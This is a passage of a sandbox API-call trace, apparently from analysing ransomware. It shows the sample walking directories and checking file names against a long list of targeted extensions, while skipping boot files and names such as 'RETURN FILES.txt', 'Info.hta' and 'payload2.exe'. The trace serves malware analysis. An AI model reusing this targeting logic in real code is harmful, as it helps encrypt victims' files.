	[0057.957] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1
	[0057.958] lstrlenW (lpString=".fido") returned 5
	[0057.958] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1
	[0057.958] lstrlenW (lpString=".flm") returned 4
	[0057.958] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1
	[0057.958] lstrlenW (lpString=".flv") returned 4
	[0057.958] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1
	[0057.958] lstrlenW (lpString=".frm") returned 4
	[0057.958] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1
	[0057.958] lstrlenW (lpString=".fxg") returned 4
	[0057.958] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1
	[0057.958] lstrlenW (lpString=".geo") returned 4
	[0057.958] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1
	[0057.958] lstrlenW (lpString=".gif") returned 4
	[0057.958] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1
	[0057.958] lstrlenW (lpString=".grs") returned 4
	[0057.958] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1
	[0057.958] lstrlenW (lpString=".gz") returned 3
	[0057.958] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1
	[0057.958] lstrlenW (lpString=".h") returned 2
	[0057.958] lstrcmpiW (lpString1=".h", lpString2="og") returned -1
	[0057.958] lstrlenW (lpString=".hdr") returned 4
	[0057.958] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1
	[0057.958] lstrlenW (lpString=".hpp") returned 4
	[0057.958] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1
	[0057.958] lstrlenW (lpString=".hta") returned 4
	[0057.958] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1
	[0057.958] lstrlenW (lpString=".htc") returned 4
	[0057.958] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1
	[0057.959] lstrlenW (lpString=".htm") returned 4
	[0057.959] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1
	[0057.959] lstrlenW (lpString=".html") returned 5
	[0057.959] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1
	[0057.959] lstrlenW (lpString=".icb") returned 4
	[0057.959] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1
	[0057.959] lstrlenW (lpString=".ics") returned 4
	[0057.959] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1
	[0057.959] lstrlenW (lpString=".iff") returned 4
	[0057.959] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1
	[0057.959] lstrlenW (lpString=".inc") returned 4
	[0057.959] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1
	[0057.959] lstrlenW (lpString=".indd") returned 5
	[0057.959] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1
	[0057.959] lstrlenW (lpString=".ini") returned 4
	[0057.959] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1
	[0057.959] lstrlenW (lpString=".iqy") returned 4
	[0057.959] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1
	[0057.959] lstrlenW (lpString=".j2c") returned 4
	[0057.959] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1
	[0057.959] lstrlenW (lpString=".j2k") returned 4
	[0057.959] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1
	[0057.959] lstrlenW (lpString=".java") returned 5
	[0057.959] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1
	[0057.959] lstrlenW (lpString=".jp2") returned 4
	[0057.959] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1
	[0057.960] lstrlenW (lpString=".jpc") returned 4
	[0057.960] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1
	[0057.960] lstrlenW (lpString=".jpe") returned 4
	[0057.960] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1
	[0057.960] lstrlenW (lpString=".jpeg") returned 5
	[0057.960] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1
	[0057.960] lstrlenW (lpString=".jpf") returned 4
	[0057.960] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1
	[0057.960] lstrlenW (lpString=".jpg") returned 4
	[0057.960] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0057.960] lstrlenW (lpString=".jpx") returned 4
	[0057.960] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1
	[0057.960] lstrlenW (lpString=".js") returned 3
	[0057.960] lstrcmpiW (lpString1=".js", lpString2="log") returned -1
	[0057.960] lstrlenW (lpString=".jsf") returned 4
	[0057.960] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1
	[0057.960] lstrlenW (lpString=".json") returned 5
	[0057.960] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1
	[0057.960] lstrlenW (lpString=".jsp") returned 4
	[0057.960] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1
	[0057.960] lstrlenW (lpString=".kdc") returned 4
	[0057.962] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1
	[0057.962] lstrlenW (lpString=".kmz") returned 4
	[0057.962] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1
	[0057.962] lstrlenW (lpString=".kwm") returned 4
	[0057.962] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1
	[0057.962] lstrlenW (lpString=".lasso") returned 6
	[0057.962] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1
	[0057.962] lstrlenW (lpString=".lbi") returned 4
	[0057.962] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1
	[0057.962] lstrlenW (lpString=".lgf") returned 4
	[0057.962] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1
	[0057.962] lstrlenW (lpString=".lgp") returned 4
	[0057.962] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1
	[0057.963] lstrlenW (lpString=".log") returned 4
	[0057.963] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0
	[0057.963] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0057.963] lstrlenW (lpString=".html") returned 5
	[0057.963] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1
	[0057.963] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0057.963] lstrcmpiW (lpString1="boot.ini", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1
	[0057.963] lstrcmpiW (lpString1="bootfont.bin", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1
	[0057.963] lstrcmpiW (lpString1="ntldr", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0057.963] lstrcmpiW (lpString1="ntdetect.com", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0057.963] lstrcmpiW (lpString1="io.sys", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0057.963] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0057.963] lstrcmpiW (lpString1="Info.hta", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0057.963] lstrcmpiW (lpString1="payload2.exe", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0057.963] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0057.963] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1
	[0057.963] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32
	[0057.963] lstrlenW (lpString=".1cd") returned 4
	[0057.963] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0057.963] lstrlenW (lpString=".3ds") returned 4
	[0057.963] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1
	[0057.963] lstrlenW (lpString=".3fr") returned 4
	[0057.964] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1
	[0057.964] lstrlenW (lpString=".3g2") returned 4
	[0057.964] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1
	[0057.964] lstrlenW (lpString=".3gp") returned 4
	[0057.964] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1
	[0057.964] lstrlenW (lpString=".7z") returned 3
	[0057.964] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0057.964] lstrlenW (lpString=".accda") returned 6
	[0057.964] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1
	[0057.964] lstrlenW (lpString=".accdb") returned 6
	[0057.964] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1
	[0057.964] lstrlenW (lpString=".accdc") returned 6
	[0057.964] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1
	[0057.964] lstrlenW (lpString=".accde") returned 6
	[0057.964] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1
	[0057.964] lstrlenW (lpString=".accdt") returned 6
	[0057.964] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1
	[0057.964] lstrlenW (lpString=".accdw") returned 6
	[0057.964] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1
	[0057.964] lstrlenW (lpString=".adb") returned 4
	[0057.964] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1
	[0057.964] lstrlenW (lpString=".adp") returned 4
	[0057.964] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1
	[0057.964] lstrlenW (lpString=".ai") returned 3
	[0057.964] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1
	[0057.964] lstrlenW (lpString=".ai3") returned 4
	[0057.964] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1
	[0057.964] lstrlenW (lpString=".ai4") returned 4
	[0057.965] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1
	[0057.965] lstrlenW (lpString=".ai5") returned 4
	[0057.965] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1
	[0057.965] lstrlenW (lpString=".ai6") returned 4
	[0057.965] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1
	[0057.965] lstrlenW (lpString=".ai7") returned 4
	[0057.965] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1
	[0057.965] lstrlenW (lpString=".ai8") returned 4
	[0057.965] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1
	[0057.965] lstrlenW (lpString=".anim") returned 5
	[0057.965] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1
	[0057.965] lstrlenW (lpString=".arw") returned 4
	[0057.965] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1
	[0057.965] lstrlenW (lpString=".as") returned 3
	[0057.965] lstrcmpiW (lpString1=".as", lpString2="log") returned -1
	[0057.965] lstrlenW (lpString=".asa") returned 4
	[0057.965] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1
	[0057.965] lstrlenW (lpString=".asc") returned 4
	[0057.965] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1
	[0057.965] lstrlenW (lpString=".ascx") returned 5
	[0057.965] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1
	[0057.965] lstrlenW (lpString=".asm") returned 4
	[0057.965] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1
	[0057.965] lstrlenW (lpString=".asmx") returned 5
	[0057.965] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1
	[0057.965] lstrlenW (lpString=".asp") returned 4
	[0057.965] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1
	[0057.966] lstrlenW (lpString=".aspx") returned 5
	[0057.966] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1
	[0057.966] lstrlenW (lpString=".asr") returned 4
	[0057.966] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1
	[0057.966] lstrlenW (lpString=".asx") returned 4
	[0057.966] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1
	[0057.966] lstrlenW (lpString=".avi") returned 4
	[0057.966] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1
	[0057.966] lstrlenW (lpString=".avs") returned 4
	[0057.966] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1
	[0057.966] lstrlenW (lpString=".backup") returned 7
	[0057.966] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1
	[0057.966] lstrlenW (lpString=".bak") returned 4
	[0057.966] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1
	[0057.966] lstrlenW (lpString=".bay") returned 4
	[0057.966] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1
	[0057.966] lstrlenW (lpString=".bd") returned 3
	[0057.966] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1
	[0057.966] lstrlenW (lpString=".bin") returned 4
	[0057.966] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1
	[0057.966] lstrlenW (lpString=".bmp") returned 4
	[0057.966] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1
	[0057.966] lstrlenW (lpString=".bz2") returned 4
	[0057.966] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0057.966] lstrlenW (lpString=".c") returned 2
	[0057.966] lstrcmpiW (lpString1=".c", lpString2="og") returned -1
	[0057.966] lstrlenW (lpString=".cdr") returned 4
	[0057.967] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1
	[0057.967] lstrlenW (lpString=".cer") returned 4
	[0057.967] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1
	[0057.967] lstrlenW (lpString=".cf") returned 3
	[0057.967] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1
	[0057.967] lstrlenW (lpString=".cfc") returned 4
	[0057.967] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1
	[0057.967] lstrlenW (lpString=".cfm") returned 4
	[0057.967] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1
	[0057.967] lstrlenW (lpString=".cfml") returned 5
	[0057.967] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1
	[0057.967] lstrlenW (lpString=".cfu") returned 4
	[0057.967] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1
	[0057.967] lstrlenW (lpString=".chm") returned 4
	[0057.967] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1
	[0057.967] lstrlenW (lpString=".cin") returned 4
	[0057.967] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1
	[0057.967] lstrlenW (lpString=".class") returned 6
	[0057.967] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1
	[0057.967] lstrlenW (lpString=".clx") returned 4
	[0057.967] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1
	[0057.967] lstrlenW (lpString=".config") returned 7
	[0057.967] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1
	[0057.967] lstrlenW (lpString=".cpp") returned 4
	[0057.967] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1
	[0057.967] lstrlenW (lpString=".cr2") returned 4
	[0057.967] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1
	[0057.968] lstrlenW (lpString=".crt") returned 4
	[0057.968] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1
	[0057.968] lstrlenW (lpString=".crw") returned 4
	[0057.968] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1
	[0057.968] lstrlenW (lpString=".cs") returned 3
	[0057.968] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1
	[0057.968] lstrlenW (lpString=".css") returned 4
	[0057.968] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1
	[0057.968] lstrlenW (lpString=".csv") returned 4
	[0057.968] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1
	[0057.968] lstrlenW (lpString=".cub") returned 4
	[0057.968] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1
	[0057.968] lstrlenW (lpString=".dae") returned 4
	[0057.968] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1
	[0057.968] lstrlenW (lpString=".dat") returned 4
	[0057.968] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1
	[0057.968] lstrlenW (lpString=".db") returned 3
	[0057.968] lstrcmpiW (lpString1=".db", lpString2="log") returned -1
	[0057.968] lstrlenW (lpString=".dbf") returned 4
	[0057.968] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0057.968] lstrlenW (lpString=".dbx") returned 4
	[0057.968] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1
	[0057.968] lstrlenW (lpString=".dc3") returned 4
	[0057.968] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1
	[0057.968] lstrlenW (lpString=".dcm") returned 4
	[0057.968] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1
	[0057.968] lstrlenW (lpString=".dcr") returned 4
	[0057.969] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1
	[0057.969] lstrlenW (lpString=".der") returned 4
	[0057.969] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1
	[0057.969] lstrlenW (lpString=".dib") returned 4
	[0057.969] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1
	[0057.969] lstrlenW (lpString=".dic") returned 4
	[0057.969] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1
	[0057.969] lstrlenW (lpString=".dif") returned 4
	[0057.969] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1
	[0057.969] lstrlenW (lpString=".divx") returned 5
	[0057.969] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1
	[0057.969] lstrlenW (lpString=".djvu") returned 5
	[0057.969] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1
	[0057.969] lstrlenW (lpString=".dng") returned 4
	[0057.969] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1
	[0057.969] lstrlenW (lpString=".doc") returned 4
	[0057.969] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0057.969] lstrlenW (lpString=".docm") returned 5
	[0057.969] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1
	[0057.969] lstrlenW (lpString=".docx") returned 5
	[0057.969] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1
	[0057.969] lstrlenW (lpString=".dot") returned 4
	[0057.969] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1
	[0057.969] lstrlenW (lpString=".dotm") returned 5
	[0057.969] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1
	[0057.969] lstrlenW (lpString=".dotx") returned 5
	[0057.969] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1
	[0057.970] lstrlenW (lpString=".dpx") returned 4
	[0057.970] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1
	[0057.970] lstrlenW (lpString=".dqy") returned 4
	[0057.970] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1
	[0057.970] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1
	[0057.970] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0
	[0057.970] FindClose (in: hFindFile=0x5e0430 | out: hFindFile=0x5e0430) returned 1
	[0057.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0057.971] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0057.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0057.971] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS") returned 21
	[0057.971] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0370
	[0057.973] FindNextFileW (in: hFindFile=0x5e0370, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.973] FindNextFileW (in: hFindFile=0x5e0370, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1
	[0057.973] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18
	[0057.973] lstrlenW (lpString=".1cd") returned 4
	[0057.973] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0057.973] lstrlenW (lpString=".3ds") returned 4
	[0057.973] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0057.973] lstrlenW (lpString=".3fr") returned 4
	[0057.973] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0057.973] lstrlenW (lpString=".3g2") returned 4
	[0057.973] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0057.973] lstrlenW (lpString=".3gp") returned 4
	[0057.973] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0057.973] lstrlenW (lpString=".7z") returned 3
	[0057.973] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0057.973] lstrlenW (lpString=".accda") returned 6
	[0057.973] lstrcmpiW (lpString1=".accda", lpString2="BE.dll") returned -1
	[0057.973] lstrlenW (lpString=".accdb") returned 6
	[0057.973] lstrcmpiW (lpString1=".accdb", lpString2="BE.dll") returned -1
	[0057.973] lstrlenW (lpString=".accdc") returned 6
	[0057.974] lstrcmpiW (lpString1=".accdc", lpString2="BE.dll") returned -1
	[0057.974] lstrlenW (lpString=".accde") returned 6
	[0057.974] lstrcmpiW (lpString1=".accde", lpString2="BE.dll") returned -1
	[0057.974] lstrlenW (lpString=".accdt") returned 6
	[0057.974] lstrcmpiW (lpString1=".accdt", lpString2="BE.dll") returned -1
	[0057.974] lstrlenW (lpString=".accdw") returned 6
	[0057.974] lstrcmpiW (lpString1=".accdw", lpString2="BE.dll") returned -1
	[0057.974] lstrlenW (lpString=".adb") returned 4
	[0057.974] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0057.974] lstrlenW (lpString=".adp") returned 4
	[0057.974] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0057.974] lstrlenW (lpString=".ai") returned 3
	[0057.974] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0057.974] lstrlenW (lpString=".ai3") returned 4
	[0057.974] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0057.974] lstrlenW (lpString=".ai4") returned 4
	[0057.974] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0057.974] lstrlenW (lpString=".ai5") returned 4
	[0057.974] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0057.974] lstrlenW (lpString=".ai6") returned 4
	[0057.974] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0057.974] lstrlenW (lpString=".ai7") returned 4
	[0057.974] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0057.974] lstrlenW (lpString=".ai8") returned 4
	[0057.974] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0057.974] lstrlenW (lpString=".anim") returned 5
	[0057.974] lstrcmpiW (lpString1=".anim", lpString2="E.dll") returned -1
	[0057.975] lstrlenW (lpString=".arw") returned 4
	[0057.975] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0057.975] lstrlenW (lpString=".as") returned 3
	[0057.975] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0057.975] lstrlenW (lpString=".asa") returned 4
	[0057.975] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0057.975] lstrlenW (lpString=".asc") returned 4
	[0057.975] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0057.975] lstrlenW (lpString=".ascx") returned 5
	[0057.975] lstrcmpiW (lpString1=".ascx", lpString2="E.dll") returned -1
	[0057.975] lstrlenW (lpString=".asm") returned 4
	[0057.975] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0057.975] lstrlenW (lpString=".asmx") returned 5
	[0057.975] lstrcmpiW (lpString1=".asmx", lpString2="E.dll") returned -1
	[0057.975] lstrlenW (lpString=".asp") returned 4
	[0057.975] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0057.975] lstrlenW (lpString=".aspx") returned 5
	[0057.975] lstrcmpiW (lpString1=".aspx", lpString2="E.dll") returned -1
	[0057.975] lstrlenW (lpString=".asr") returned 4
	[0057.975] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0057.975] lstrlenW (lpString=".asx") returned 4
	[0057.975] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0057.975] lstrlenW (lpString=".avi") returned 4
	[0057.975] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0057.975] lstrlenW (lpString=".avs") returned 4
	[0057.975] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0057.975] lstrlenW (lpString=".backup") returned 7
	[0057.976] lstrcmpiW (lpString1=".backup", lpString2="OBE.dll") returned -1
	[0057.976] lstrlenW (lpString=".bak") returned 4
	[0057.976] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0057.976] lstrlenW (lpString=".bay") returned 4
	[0057.976] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0057.976] lstrlenW (lpString=".bd") returned 3
	[0057.976] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0057.976] lstrlenW (lpString=".bin") returned 4
	[0057.976] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0057.976] lstrlenW (lpString=".bmp") returned 4
	[0057.976] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0057.976] lstrlenW (lpString=".bz2") returned 4
	[0059.684] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0059.684] lstrlenW (lpString=".c") returned 2
	[0059.684] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0059.684] lstrlenW (lpString=".cdr") returned 4
	[0059.684] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0059.684] lstrlenW (lpString=".cer") returned 4
	[0059.684] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0059.684] lstrlenW (lpString=".cf") returned 3
